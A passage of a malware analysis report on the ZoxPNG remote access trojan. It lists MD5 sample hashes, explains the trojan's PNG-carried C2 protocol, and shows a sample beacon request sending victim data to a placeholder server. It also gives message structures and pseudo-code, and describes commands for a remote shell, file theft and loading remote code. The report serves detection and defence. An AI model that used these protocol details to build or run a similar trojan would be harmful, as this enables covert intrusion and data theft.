ab5d5a99c171d3e69490a9a7fbe3645f ac1d99f4751ae8c28c452ae96d6bc800 ac7eccfce8dd486b830fe85dacaf35e8 ad7f7ce329139ccc252ed75704de2eab ad92cbb5e3522fc4bfc15732284020d0 adab08e09dec4437be49a9346244375a addd471dcbff1b125f993343a27819a7 ae4c9c1f16fbe20dd78da605f2091ad3 ae60f66d33259207e54ce03416c10adc af5d3789bb5220553e7fc0d115be4655 b2c52b2078060c0d8dfe3f9c84ab0f1a b60c862f6435247c21c7d2d05d804248 b9685cc3d0069135696fe51fd7258aac ba2532bc122c881bfe4ddc39da1dfdf4 ba3324571e0f962e4d6aced7832f4d3f bdfb76d4dd25ee3b4d36172a3c3cd98e be7d72c4bb76831089176dd90188ad3e bf0ad3625fd7cd2c8a7ba3fa74bf1605 bf35c5cb6763679914f267be25a54601 c0c04f41a823cdb4055b109dbadddd18 c1a8179ef14ae95d809179185bcc269f c1ab14ce4612256bfc93c7b97e5f8353 c2b975caad371568904a04bbb9bf6e17 c3053ece751f9c0b2595a6d9350f48cf c39183372160e75c7083a5c9eac68124 c3bac79122923eac3f1fd48c5775465d c47fe9b7a3b72937adeb665432aeeff5 c4a6b6cf35ebed6d46eb5728a6247448 c524005b6f98f5428c228a9577e20f91 c576be490ae4b095149114b34c96c6a9 c5da1da605a6bfc4bf99721e6d665b8d c6e5277717d0aa2ecd96e9ca06b195d1 c729c36ad0e32be7b23ad022ab8de27c c7a7c668d4e5c80605bac305799d6ff2 c8a1c24bcd91ca21e89888e418153472 cd5ecadb214f3697d3c77e42c80aff71 d030c4df015cff67353065c0f7198058 d0b9b5889b3bc49ce4c4f942eef7e39f d0d614ca7bf6745ad52910da8a672e1c d1568b36e55fae5eb1b7a2ae3b9294f3 d1f641b6dd8861598af23557a7a52a3b d414ce56e89e1db9df28c3dd388a8249 d415b7a5d328e32a0c383ce3889468af d4baba6857f3682eeb8ae6f83cc9a271 d4f1188e75c55444a191649c4b4e1362 d541a9cca5288876676aae2ab962997f d57379739354b204898149b456e732b3 d68d241572a8ffdc8a2e481c96baacfb d837313adef94c3b173e0a9128896250 d84ecca01839642a27d29f885b885ff1 d8815fe64eb5321add412554908da28a d8ca81ee8327d8314121d1560800674c d8f21a32f7d33b1b6b5e948029410eb4 db3d36f3f8386f993a89c9bba25cbeaa dd260e8a5462304621001dd3c12e4aa8 ddedcf6f543104a3485406d66068e263 dec5441851026a66a4ff0cfd008983c0 df87fe27fcda6906ae248663e0c62861 dfa055d94e59afa791b0f99ff82b54a6 e0417547ba54b58bb2c8f795bca0345c e1833932053171da15c60e6c2fca708a e21c8e1c3e79d669f13f771dbbe0eb77 e22632b517305aab6ba9691507d1d562 e31912492ef1edae863b34a96d8c529e e38d44d1a226b9c1ca70a3e78beaf735 e3ead43315bcc851656805922309744f e5d96aa540dd934aec72dcecafd366b8 e5ea0c7a48967202f25fc96d91a1a2cb e61b128e97a39fe869cf89be571fe021 e691dc42a002e9f48f69cd33b70d8a15 e7f5a93eb76bab40d4aa088fba115aaf e7f93c894451ef1fdefa81c6b229852c e8664b135b6d681c812aa04ba14a120c e875d971524d45c10cf332ebf7256688 eb0e2d5ebf6f3dbb4510b85c30a9751d eb1dc493f005059c654817d153f7ee74 edbc569b5b5824a53721b71ad325a212 edfcb5ec135c94b77e4b94c2a82863b7 ee3ac02b6ca3d6c9012604d71017058f eebfa7677dedd10edf4aca985f16284c f03594793c06a097e4b1ac7e1d7079b8 f09e2e3a57d336cb65acab2bdd6b9d14 f1bb8a80e23b6c90004d97c7ef2d0454 f2627bf17528011130e5818bfac0afdb f2a405326747245e5db97c60e878660b f34195a2317bf079844bc44c92297cae f36007400f0c85784fd374ad4ed23c6e f362f47eb844f889bafd5a0e92c7cdf0 f3b95dad321a14500154e13cf3fbefe4 f3d302a8c56ea86d429157fde1793210 f50406b902601b005c1908a048489ca2 f50fa07be0222baffff05b23fdfd5b68 f5b65b971509eefa009d032003410faf f77aff1d1c0d94cc96828fb88f3280f3 f7e3b90592c75a6c3c15336d34d97a9e f9e64eba7185c266786857d7f933577b fa3f412be4ebf45f478135221365dda7 fa7641771280db462f088d8353dbcfbd fb11225f453365af4958f98bde2ce918 fc5364e8274a2eb8310d2528d78ac07e fe4d6a3428cd9f87d5a7044d733d2299 ff271c14549b133a4475ad6615e894da MD5 signatures for RegSubDat 01355596ec3596aa02b8c5f9f1adb5d6 030d492c8d12434144f9b1dc97928cb8 0434ae7b8267b08bd1c6ae17d6100353 048a3815cbf0b8dc9b4c3f680fcd913f 06054346974f309e1003faabac0d1dd5 0836b4a02971aaef33905a91799063ed 09e372c29e69e1edd29f02d4e660d33f 0cafb41eca73d768091bc93f4343cbb9 1050edb8cc0a073991bc637d590d89cc 12954f97e5db1cc86ecfe12be2ec7323 18f9d0973e60b13e7e28d0997e3a09e0 237d641b8267867b007ec94e0bbeff1a 2f6257eab8d3393ac6a96c490f1455ee 351f1ee0cc65d004d40183a7fb6ce616 36310e65b35780242d326f3f604b4c3f 3da70425c099ad4c050eaa4c3308d0cf 48c2d771e3083267a4f9e359ef0e53e5 49b7bc9ac3800caa49bca0a4b3350dbd 4ae7ac0060b938c50675ee2627e3c66d 52856c1a0c63509bf6c00ef1e9fca03c 58cde4ee026df987340a63cfc2c34318 5d53c97b800ca1519800b872bc3f9edf 5d88a3f713c610364fbf750f24af8257 646abf38720c7301698c32bec62d84ce 67d14ce17d3dab4a00d073b6315efc94 69f8d66ccd7fc63ee3f8a3e4f7d86f07 7019e8a17360a583931fb0908f31a2e2 7f7bf881da34242dd1927fda745812f1 81433a87eac3af2227623bf3239844de 83976d6937ebf841999f10bee38ab252 8b1c6478d620bfafbb2c5402d1f926c0 91c3ec270cca27a3785ac827a336c050 94d75acfc4c82c6e48e68b513ade057c 992fa71f3b5e4b1ca3a43d5b2a69e1c0 9a7f048e0e0d0f5bf117f19caef2db1f 9aa7d5ede53be461ab8c4d68fcaa50ab 9ec7da6881d2632a2e823176e915634b 9ef570a298116ac810fdde31a64c7631 a33ab32eeb02b677f9f2786dc3c0651c a3a1ea2c99d40620fc8dee0222228f24 a876acf60d6e4c4da1123fc11f01ced7 aa90c8e524edb644286c5c0f6c5de987 af0aa267ced776b99a7d157294ac59ba afd476bbc24a7f20afb017f6869fda65 b5b51dc06c3e9104fa59642952e69d49 b6352cc6e269277960a8da7c5f0306cd c5860171f919761db9ee78ef3dac5ab4 c6a8c1cdeff0745427aafc588db9c59f caf90ceece7242bb1147019daf14598f cc683fc365ec57eea4bc8e1f80a66413 ce47cb6268087cf5c27d77259496989c cff8e4eb16d010bcc33ad19eb807bd27 d408c2e627b3a895868bf16a3b228eac dcb3b9ea717603bf6f42e7ce61ea3728 dd1e6b39afcba13b3df3eae13f26d888 e2aa3ca52b8ea17c4bb80d294fec8ec5 e78cc8790ff97eb13d448c15f3f3acae ea20365eb2142afb4ab9a124808cb8c6 ecf15cce8bd4d6907d86ccff932b64af ef80d287bd10af3b1cab06d01795ae1a f5437d13428440412cbf5522adb25f8f f9d2fec1684529f580785dda5820b372 ZoxPNG Analysis Overview ZoxPNG is a very simple RAT that uses the PNG image file format as the carrier for data going to and from the C2 server. ZoxPNG supports 13 commands natively. In addition, ZoxPNG has the ability to load and execute arbitrary code from the C2 server providing an almost unlimited feature set. For instance, ZoxPNG provides no functionality for key logging, screen grabbing or file execution. If an attacker required such functionality, the attacker would construct a simple shell-code binary which the ZoxPNG binary could execute thereby expanding the feature set of the Trojan. ZoxPNG does not contain any configuration information. The attacker using ZoxPNG must specify the C2 server address as a command line argument. ZoxPNG Startup Sequence ZoxPNG is a simple console executable that contains no configurable information such as a C2 server address. It is up to the attacker to provide this information as the sole command line argument when activating a ZoxPNG binary. Upon activation, the ZoxPNG binary registers the various command handlers (see the section Commands that follows for details of each command handler). With the handlers registered, ZoxPNG slips into an infinite loop that calls the main communication and command dispatch routine if that routine returns (or exits), the Trojan sleeps 20 seconds before again calling the main communication and command dispatch routine. This ensures that even if communication failures occur, ZoxPNG will continually attempt to connect to the C2 (with intermittent delays). Communication and Command Dispatch When ZoxPNG enters the communication loop, the Trojan sends a request to the C2 server in the form of a HTTP GET request. The first GET request provides the initial dial-home to the C2 server and results in the C2 server sending the first command to the ZoxPNG binary via a special PNG file attached to the response. Subsequent requests from the ZoxPNG binary can come in the form of a GET request if the response to the C2 servers command does not require any data or acknowledgement, or a POST request with a PNG upload containing data to be sent to the C2 server. For each request to the C2 server that the ZoxPNG binary generates, the C2 server will respond with a valid HTTP response that includes a PNG file containing the next instruction for the binary to execute. Figure 1 provides a graphical representation of the polling model that the ZoxPNG binary employs when communicating with the C2 server. The ZoxPNG is surprisingly accommodating to network instability. For each polling request to the C2 server, the ZoxPNG binary will attempt to contact the C2 server up to five times before failing. Between attempts, the ZoxPNG binary will wait 5 seconds. Coupling the 5 second interval waits with the fact that the default timeout using InternetOpen is 30 seconds, a ZoxPNG binary could wait up to 175 seconds (nearly 3 minutes) for a C2 server to come online before terminating the session. The communication subsystem of ZoxPNG uses the WinInet API. While this has the advantage of offloading the HTTP processing, it also has the advantage of allowing ZoxPNG to automatically use any proxy settings currently configured on the victims machine. ZoxPNG uses the InternetOpen, InternetConnect and HttpOpenRequest APIs to begin a HTTP connection to the C2 server. As mentioned previously, if the ZoxPNG binary is sending data to the C2 server, HttpOpenRequest is given the POST verb otherwise it uses the GET verb. Prior to using any of the WinInet APIs, however, ZoxPNG generates a small data structure of 52 bytes that contains information about the victims machine. The data structure in Figure 2 defines the VictimSystemData data structure. pragma pack(push, 1) struct VictimSystemData char fIs64BitProcess char field_1 // binary result of an obscure test char bOSMajorVersion char bOSMinorVersion DWORD dwActiveCodePage DWORD dwRandomValue DWORD dwMegsOfMemory DWORD dwPID char szComputerName[32] pragma pack(pop) Figure 2: VictimSystemData Structure ZoxPNG Binary ZoxPNG C2 Server Figure 1: Communication Pattern between ZoxPNG and its C2 Server It is unclear why the developer(s) of ZoxPNG decided that it was necessary to generate the data structure at each and every attempt to contact the C2 server instead of generating the static data once and using a cached copy. Nevertheless, the ZoxPNG binary will generate the data each time prior to activating the WinInet APIs. The ZoxPNG binary will transmit the data to the C2 server via the HTTP header Cookie as part of the SESSIONID value. In order to transfer the data without running into NULL byte issues, the VictimSystemData structure is transformed using a standard Base64 encoding. There are two interesting pieces to the VictimSystemData. The first interesting piece is the dwRandomValue field. While the field does appear to be the generation of calls to the rand function, in actuality it is a checksum of the victims computer name. The ZoxPNG binary will loop through the NULL terminated string of the victims computer name in four byte increments in order to generate a 32-bit value, use the 32-bit value as the seed value to srand, and then multiply an accumulator by the value of the next rand call. This convoluted checksum appears to have no other purpose than to provide a means to detect corrupt or forged requests as they relate only to the computers name. After going through a maximum of 30 cycles (leading to the possibility that random data may be introduced given that the computer name buffer is only 32 bytes long), the value of dwRandomValue is truncated to 1,000,000 by virtue of a modulus operation. Figure 3 provides the pseudo-code for the dwRandomValue generation. GetComputerNameA(Buffer, nSize) v6 (unsigned int )Buffer victimSysData-dwRandomValue 1 i 1 do if ( v6 ) break srand(v6) i v6 victimSysData-dwRandomValue rand() while ( i 30 ) victimSysData-dwRandomValue 1000000u Figure 3: dwRandomValue Generation in Psuedo-C With the VictimSystemData structure generated and an Internet session handle opened, ZoxPNG calls HttpOpenRequest with the appropriate verb to open a specific URL to the C2 server. The URL that the ZoxPNG binary will request is largely static and takes the form of a complex image request. The request to the C2 server takes the following form: http://C2 Address/imgres?qA380hlen- USsaXbiw1440bih809tbmisustbnidaLW4- J8Q1lmYBM:imgrefurlhttp://C2Addressdocid1bi0Ti1ZVr4bEMimgurlhttp ://C2 Address/4 digit year-2 digit month/4 digit year2 digit month2 digit day2 digit hour2 digit minute2 digit second.pngw800h600eiCnJcUcSBL4rFkQX444HYCwzoom1ved1t:3588,r: 1,s:0,i:92iactrcdur368page1tbnh184tbnw259start0ndsp20tx 114ty58 After opening a HTTP request to the URL, the ZoxPNG will add a User-Agent header based on the user-agent string returned by a call to the ObtainUserAgentString API function. If that function fails to return a user-agent, then ZoxPNG will default to the following user-agent string: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 6.1 WOW64 Trident/4.0 SLCC2 .NETCLR 2.0.50727) The ZoxPNG binary will also append Pragma, Accept-Language and Accept-Encoding headers before concluding with a Connection: Close header. The result is a request that takes the form of: GET /imgres?qA380hlen-USsaXbiw1440bih809tbmisustbnidaLW4- J8Q1lmYBM:imgrefurlhttp://127.0.0.1docid1bi0Ti1ZVr4bEMimgurlhttp ://127.0.0.1/2014- 10/20141020021012.pngw800h600eiCnJcUcSBL4rFkQX444HYCwzoom1ved 1t:3588,r:1,s:0,i:92iactrcdur368page1tbnh184tbnw259start0 ndsp20tx114ty58 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / User-Agent: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1 Trident/4.0 .NET CLR 1.1.4322 .NET CLR 2.0.50727 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729 .NET4.0C) Pragma: no-cache Accept-Language: en-US Accept-Encoding: gzip, deflate Connection: Close Cookie: SESSIONIDAAAFAeQEAAAEZgcAYggAAMAFAABJMjY4ODU2LTM3NUMzMTcAAAAAAAAAAAAA AAAAAAAAAA Host: 127.0.0.1 ZoxPNG transmits data via a specifically constructed PNG file. The format of the PNG file that carries data to and from the C2 server is relatively straight forward. For data coming from the C2 server, the PNG file must start with the following bytes in order: 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A. The DWORD starting at offset 0x21 contains the size of the data within the PNG file while the data begins at offset 0x29. The DWORD at 0x21 is in big-endian format. The data at offset 0x29 is compressed using the zlib deflate (version 1.1.4) system. Novetta was unable to observe a live sample of the PNG file originating from the C2 but it is reasonable to believe that the overall format of the PNG file is the same as the format as the PNG file that the ZoxPNG binary sends to the C2 server as the important offsets of 0x21 (33) and 0x29 (41) are identical. The format of the PNG file originating at the ZoxPNG binary is defined, which could be potentially leveraged by IDS. The following table defines the known values of the PNG file (regardless of the data appended): Offset Known Values Notes 0 (8 bytes) 0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A 0x0A PNG header 8 (4 bytes) 0x00 0x00 0x00 0x0D Length of image header chunk 12 (4 bytes) IHDR Image header tag 16 (13 bytes) 0x00 0x00 0x00 0xC8 0x00 0x00 0x00 0x64 0x08 0x00 0x00 0x00 0x00 Specifies 200x100px 8-bit image 29 (4 bytes) 0xE6 0xED 0x20 0xD7 CRC32 value of IHDR chunk 33 (4 bytes) variable Size of IDAT (embedded data) chunk 37 (4 bytes) IDAT Data header tag 41 (n bytes) variable Embedded data of n bytes 41n (4 bytes) variable CRC32 value of IDAT chunk 45n (4 bytes) 0x00 0x00 0x00 0x00 Length of IEND chunk 49n (4 bytes) IEND Image end tag 53n (4 bytes) 0xAE 0x42 0x60 0x82 CRC32 value of IEND chunk Note that the embedded data within the IDAT tag is compressed using the deflate function. In order to restore the IDAT data, both sides of the conversation will use the zlib inflate functionality. The PNG file adheres to the PNG standard thereby making it less detectible to heuristic sensors. However, by inspection of the IDATs size, it could be possible to determine that the image is not 200x100 bytes (20000 bytes) and therefore the IDAT section is not the proper size for the specific image size. After the PNG image is received by the ZoxPNG binary, the binary will extract the contents of the IDAT section, recover the original data blob, and send the data to the command dispatch. Each data blob that comes from a PNG file contains a header that allows the command dispatch system to quickly route the data blob to the appropriate handler. At the outer most layer of the structure is the CommandHeader which contains two fields: dwCommandDataSize and command. dwCommandDataSize is the overall size of the data blob including the CommandHeader component while the command field is a CommandData structure containing the information necessary to route the command (and its data) to the appropriate data handler. Figure 4 defines both the CommandHeader and CommandData structures. The CommandData structure contains four fields of which the most important is the dwCommandID field. The dwCommandID field defines the purpose of the data (if any) that follows the CommandData (and by extension, the CommandHeader) structure in the data blob. The dwCommandID value corresponds to one of the registered command handler ID values (starting at 0x80061001). If a specific command requires additional arguments then the dwPayloadSize field will be greater than 0. The dwPayloadSize field specifies the number of bytes following the CommandData structure. The dwCommandSequenceID and dwLastError fields are largely ignored by the various commands. struct CommandHeader DWORD dwCommandDataSize CommandData command struct CommandData DWORD dwCommandID DWORD dwCommandSequenceID DWORD dwLastError DWORD dwPayloadSize Figure 4: CommandHeader and CommandData Structure Definitions Whenever a command sends any data back to the C2 server, the same CommandHeader and CommandData fields are prepended to the data blob coming from the various commands. In the case where data is going back to the C2 server, it is possible that the dwLastError field may be set to a non-zero value indicating the status of a particular command (the field is commonly set to the value returned by the function GetLastError). The dwCommandSequenceID number field is set to the same value as the command whenever the ZoxPNG binary sends data to the C2 server. The data that follows a CommandData field is specific to each command. The command dispatch is ignorant of any data that follows beyond the CommandHeader and CommandData. The commands themselves are ignorant of the CommandHeader as only the CommandData is sent to the individual command handlers. Commands ZoxPNG uses a notion of function registration to assign command handlers to specific, sequential IDs. The order in which the handlers are registered dictates the ID of the command. The ID values start at 0x80061001 and increment for each subsequent handler that is registered. The following ID to function mappings have been observed: ID Function Description 0x80061001 Initiate a remote shell 0x80061002 Interact with the remote shell (send command, read response) 0x80061003 Download a file from the C2 to the victims machine 0x80061004 Upload a file to the C2 from the victims machine 0x80061005 Obtain information about the attached drives 0x80061006 Create a directory 0x80061007 Find/List files 0x80061008 Delete a file 0x80061009 Move/Rename a file 0x8006100A List all activate processes 0x8006100B Kill a process (by PID) 0x8006100C Sleep 0x8006100D Add a new handler function 0x8006100E Shutdowns ZoxPNG Each command has a command-specific data format for arguments and responses. Not all commands require arguments or provide responses. The following sub-sections break down not only the format of the data flowing into and out of each command but also provide an overview of what each command does and how it operates. Command 0x80061001: Initiate Remote Shell The Initiate Remote Shell command takes a single argument which contains the full filename and path to the command interpreter (e.g. cmd.exe) to use for the remote shell. Once activated, the command handler terminates any existing remote shell processes and closes any open pipes going to the remote shell process. The handler then creates new pipes before generating a new remote shell process and using the newly created pipes for the STDIN, STDOUT and STDERR of the console process. If the CreateProcess call returns an error, the command handler will generate a response with the following fields within the CommandData set: Field Value dwCommandID 0x80061001 dwLastError value from GetLastError dwPayloadSize size of the string in the payload (payload) string: IISCMD Error:d\n where d is the value from GetLastError If CreateProcess is successful, the command handler calls the command handler for Remote Shell Interaction (0x80061002) and pass the original CommandData to the command handler with the dwCommandID field changed to 0x80061002 and the dwPayloadSize set to 0 in order to get the initial response from the remote shell to the C2 server. Typically this initial response will be the banner and command prompt from a newly executed cmd.exe. The command handler will return the response from the Remote Shell Interaction handler as its own. Command 0x80061002: Remote Shell Interaction The Remote Shell Interaction command is responsible for both polling for waiting remote shell output as well as providing input to the remote shell. When activated, the Remote Shell Interaction command handler determines if the pipe for the STDIN is still valid (non-NULL). If the pipe is invalid, the command handler will generate a response with the following fields within the CommandData set: Field Value dwCommandID 0x80061002 dwLastError value from GetLastError dwPayloadSize size of the string in the payload (payload) string: hWritePipe2 Error:d\n where d is the value from GetLastError If the pipe handle is still valid, and the CommandDatas dwPayloadSize value is non-zero, the payload data that follows the CommandData structure is passed to the remote shell via the pipe without translation by means of a call to WriteFile. After a 500ms sleep, a new buffer of 65564 bytes is allocated by the command handler in order to hold any response data. A call to PeekPipe is made to determine if there is any output from the remote shell waiting. If PeekPipe indicates the presence of waiting data, a call to ReadFile is made to copy up to 65536 bytes of the output into the payload portion of the response buffer. The command handler returns the response with the CommandHeader set to the size of the entire data blob and the following fields set within the CommandData structure: Field Value dwCommandID 0x80061002 dwLastError 2 dwPayloadSize size of the data in the payload (or 0 if no data was waiting) (payload) (optional) Data from the remote shells output (STDOUT or STDERR) Command 0x80061003: Download File The Download File command, as the name implies, is responsible for transferring a file from the C2 server to the victims machine. The payload of the data blob contains a data structure defining the filename (and destination) of the file being transferred, the number of bytes within the payload to write to the victims machine and the offset (if any) to start writing the payload data. The format of the commands argument structure is as follows: Offset in Payload Field Name Description 0 (WORD) wFilenameLength Length of the szFilename field 2 (variable) szFilename Full filename and path of file to write 2szFilename (DWORD) dwDataOffset Offset within file to begin writing data 6szFilename (DWORD) dwBytesToWrite Number of bytes to write to disk 10szFilename (variable) (data) Bytes to write to disk If the dwDataOffset field is non-zero, then the disposition for the CreateFile call is set to OPEN_EXISTING whereas if the field is zero, then a new file is created by using CREATE_ALWAYS. If the CreateFile call is successful, the command handler calls SetFilePointer to the value specified by dwDataOffset and then calls WriteFile in order to write the dwBytesToWrite number of bytes to disk. The command handler returns a CommandHeader structure with the dwCommandID field of the CommandData structure set to 0x80061003 to the command dispatch. If the CreateFile call is successful then the dwLastError field is set to 0 otherwise the field is set to the value returned by GetLastError. Command 0x80061004: Upload File The Upload File command copies the contents of a file on the victims machine to the C2 server. The payload of the data blob contains a data structure (identical to the data structure for the Download File command) defining the full filename and path of the file being transferred, the number of bytes to read from the file and the offset (if any) to start reading from within the file. The format of the commands argument structure is as follows: Offset in Payload Field Name Description 0 (WORD) wFilenameLength Length of the szFilename field 2 (variable) szFilename Full filename and path of file to write 2szFilename (DWORD) dwDataOffset Offset within file to begin reading data 6szFilename (DWORD) dwBytesToRead Number of bytes to read from the file. The command handler begins by calling CreateFile with the disposition set to OPEN_EXISTING. If the CreateFile call is unsuccessful, the command handler returns a CommandHeader structure with the dwCommandID field of the CommandData structure set to 0x80061004 and the dwLastError field is set to the value returned by GetLastError. If the dwBytesToRead is -1, the command handler will calculate the number of bytes to read from the file by taking the total file size (as reported by GetFileSize) and subtracting the value of the dwDataOffset field. The command handler will allocate a response buffer with enough space to read in the specified number of bytes of the file along with a response header consisting of a CommandHeader along with a 12 byte payload header. The format of the response buffer, following the CommandHeader, is as follows: Offset in Payload Field Name Description 0 (DWORD) dwFileSize Total size of the file being transferred 4 (DWORD) dwReadOffset Offset within file corresponding to the start of the data within the payload 8 (DWORD) dwBytesRead Number of bytes read from the file 12 (variable) (data) Bytes read from the file After moving the file pointer by calling SetFilePointer and supplying the value of the dwDataOffset field, the command handler will read the file (up to the number of calculated bytes to read) into the (data) section of the response buffer by calling ReadFile. Regardless of the success of the file read, the command handler sets the dwFileSize, dwReadOffset and dwBytesRead fields appropriately and returns the response buffer to the command dispatch. Command 0x80061005: Get Drive Information The Get Drive Information command provides a list of each letter assigned drive on the victims machine along with some limited information concerning each drive. The command handler requires no arguments. When activated, the command handler will call the GetLogicalDriveStrings function in order to obtain a list of assigned drive letters. After allocating a response buffer large enough to contain a CommandHeader and the necessarily information structures to describe each drive, the command handler begins filling out a DriveInfo data structure for each drive and placing the structure within the payload of the response buffer. The DriveInfo structure is defined as: struct DriveInfo DWORD dwDriveNumber char szDriveLetter[4] DWORD dwDriveType ULARGE_INTEGER qwTotalBytes ULARGE_INTEGER dwTotalFreeBytes The dwDriveType field contains the value returned from a call to GetDriveType while qwTotalBytes and qwTotalFreeBytes come from a call to GetDiskFreeSpaceEx. After completing the array of DriveInfo structures for each assigned drive letter, the command handler will set the dwCommandID field within the CommandData structure to 0x80061005 and return the response buffer. If, however, the call to GetLocalDriveStrings returns an error, the command handler will return only a CommandHeader structure with the dwCommandID field set to 0x80061005 and the dwLastError set to the return value from GetLastError. Command 0x80061006: Create Directory The Create Directory command creates a directory on the victims machine. The command handler uses the payload section of the data blob (the section following the CommandHeader and CommandData structures) as a NULL-terminating string containing the full path of the directory to create. The command handler uses the CreateDirectory function to create the directory on the victims machine. The command handler then returns a CommandHeader with the dwCommandID set to 0x80061006, the dwPayloadSize set to 0 and, if the CreateDirectory function was successful, the dwLastError set to 0 otherwise the field is set to the value returned from GetLastError. Command 0x80061007: Enumerate Files The Enumerate Files command provides a list of files for a given path on the victims machine along with some limited information concerning each file found. The command handler uses the payload section of the data blob (the section following the CommandHeader and CommandData structures) as a NULL-terminating string containing the full path to enumerate. When activated, the command handler determine the number of files in the given path by using the FindFirstFile and FindNextFile functions to count the number of results. Using the number of files within the specified directory, the command handler will allocate a response buffer large enough to contain a CommandHeader and the necessarily information structures to describe each file. The command handler begins filling out a FileInfo data structure for each file, placing the structure within the payload of the response buffer. The FileInfo structure is defined as: struct FileInfo DWORD dwFileAttributes FILETIME ftLastWriteTime DWORD nFileSizeLow DWORD nFileSizeHigh char szFilename[260] The dwFileAttributes field contains a bitmask of FILE_ATTRIBUTE_ values, ftLastWriteTime contains the timestamp of the last time the file was modified, nFileSizeLow and nFileSizeHigh collectively define the size of the file and szFilename contains a NULL-terminate string with the files name. After completing the array of FileInfo structures for each found file (via calls to FindFirstFile and FindNextFile), the command handler will set the dwCommandID field within the CommandData structure to 0x80061007 and return the response buffer. If, however, the command handler is unable to allocate the proper sized response buffer or if the number of files for the specified directory is zero, the command handler will return only a CommandHeader structure with the dwCommandID field set to 0x80061007 and the dwLastError set to the return value from GetLastError. Command 0x80061008: Delete File The Delete File command deletes a file on the victims machine. The command handler uses the payload section of the data blob (the section following the CommandHeader and CommandData structures) as a NULL-terminating string containing the full filename and path of the file to delete. The command handler uses the SHFileOperation function with the SHFILEOPSTRUCT.wFunc parameter set to FO_DELETE to delete the file on the victims machine. The command handler then returns a CommandHeader with the dwCommandID set to 0x80061008, the dwPayloadSize set to 0 and, if the operation was successful, the dwLastError set to 0 otherwise the field is set to the value returned from GetLastError. Command 0x80061009: Rename/Move File The Rename/Move File command renames (and potentially moves) a file on the victims machine. The command handler uses the payload section of the data blob (the section following the CommandHeader and CommandData structures) as a NULL-terminating string containing the both the full filename and path of the file to rename as well as the full filename and path of the new name for the file. A pipe character () separates the two values within the string. The command handler uses the MoveFileEx function to rename/move the file on the victims machine. The command handler then returns a CommandHeader with the dwCommandID set to 0x80061009, the dwPayloadSize set to 0 and, if the operation was successful, the dwLastError is set to 0 otherwise the field is set to the value returned from GetLastError. If the supplied NULL-terminated string does not contain a pipe character, thereby not supplying to filenames and paths, the dwLastError field is set to 87 (ERROR_INVALID_PARAMETER). Command 0x8006100A: Enumerate Processes The Enumerate Processes command provides a list of processes running on a victims machine for a given path on the victims machine along with user running the process, the PID of the process and the terminal server session (if any) associated with the process. The command handler requires no arguments. When activated, the command handler obtains a list of active processes on the victims machine by calling WTSEnumerateProcesses. By using WTSEnumerateProcesses instead of the more common Process32First and Process32Next functions, the Enumerate Processes command can also list processes associated with terminal server sessions. Using the number of processes returned by the WTSEnumerateProcesses call, the command handler will allocate a response buffer large enough to contain a CommandHeader and the necessarily information structures to describe each process. The command handler begins filling out a ProcessInfo data structure for each process, placing the structure within the payload of the response buffer. The ProcessInfo structure is defined as: struct ProcessInfo DWORD dwPID DWORD dwSessionID DWORD bIs64BitProcess char szUsername[32] char szProcessName[260] The dwPID field identifies the process ID for the process and dwSessionID identifies the terminal server session associated with the process. If the process is a 64-bit image, the bIs64BitProcess field is set to 1 otherwise it is set to 0. Using the SID associated with the process, the command handler will look up the username responsible for the process and place the value in the szUsername field. Lastly, the szProcessName field contains the full name of the process. After completing the array of ProcessInfo structures for each found process, the command handler will set the dwCommandID field within the CommandData structure to 0x8006100A and return the response buffer. If, however, the WTSEnumerateProcesses function was unsuccessful, the command handler will return only a CommandHeader structure with the dwCommandID field set to 0x8006100A and the dwLastError set to the return value from GetLastError. Command 0x8006100B: Kill Process The Kill Process command will terminate a process specified by its PID. The DWORD that immediately follows the CommandHeader (and CommandData) structure specifies the PID of the process to terminate. The command handler will attempt to open a handle to the process by calling OpenProcess and then terminate the process by calling TerminateProcess. The command handler then returns a CommandHeader with the dwCommandID set to 0x8006100B, the dwPayloadSize set to 0 and, if both the OpenProcess and TerminateProcess calls were successful, the dwLastError set to 0 otherwise the field is set to the value returned from GetLastError. Command 0x8006100C: Sleep The Sleep command temporarily suspends the communication loop of the ZoxPNG binary for a specified period of time. The DWORD that immediately follows the CommandHeader (and CommandData) structure specifies the parameter for the Sleep function. If the parameter to the Sleep command is 0xFFFFFFFF, then the ZoxPNG communication loop will suspend indefinitely. The command does not return a response. Command 0x8006100D: Add/Update Command The Add/Update Command command allows the ZoxPNG to expand its capabilities by installing load-on-demand subroutines to the running ZoxPNG process. The command handler uses the payload data that immediately follows the CommandHeader structure from the C2 server, allocates enough memory to copy the entirety of the payload (minus four bytes), and then copies the payload starting at offset 4 to the newly generated buffer. The first four bytes (a DWORD) of the payload contains the desired command ID for the new command. The command handler calls the new function which will return a pointer to the real command handler that is being installed. This indicates that the data coming from the C2 server is an installer subroutine that loads the necessary DLLs and API functions and returns a pointer to the new command handler. If the subroutine returns a valid (non-NULL) pointer, the Add/Update Command command handler attempts to install the new command handler. The command handler attempts to install the new command handler into the array of existing command handlers (pfnHandlers[]) using the desired command ID (desiredCmdID value). Figure 5 illustrates, in pseudo-C, the procedure that the Add/Update Command command handler install the new command handler. memcpy(installerFunction, data[1], data-header.dwPayloadSize - 4) pFunc installerFunction() if (pFunc) desiredCmdID data-dwHandlerID v5 dwHandlersCnt if ( dwHandlersCnt desiredCmdID ) while (dwHandlersCnt data-dwHandlerID ) pfnHandlers[dwHandlersCnt - 397312] PlaceHolderCommand pfnHandlers[dwHandlersCnt - 397312] pFunc dwHandlerID dwHandlersCnt else if ( pfnHandlers ) pfnHandlers[desiredCmdID - 397312] pFunc dwHandlerID data-dwHandlerID Figure 5: Command Handler Installation/Update Routine If the desiredCmdID is a value larger than the next available command ID, the command handler will fill the command IDs between the last valid command ID and the desiredCmdID will a filler function (PlaceHolderCommand). The PlaceHolderCommand returns a CommandHeader with the dwCommandID set to the requested command ID, the dwLastError set to 2 (ERROR_FILE_NOT_FOUND), the dwPayloadSize set to the length of the string within the payload, and the payload containing the NULL-terminated string Not Support This Function. What is not obvious, but important to note, is that not only can the Add/Update Command command add new functionality, it can replace existing commands. After the command handler has concluded the installation of the new (or updated) command handler, the command handler will return a CommandHeader with the dwCommandID field within the CommandData structure set to 0x8006100D. If the installation of the new command handler was successful, the command handler will append the new command handlers command ID value to the end of the CommandHeader and set the 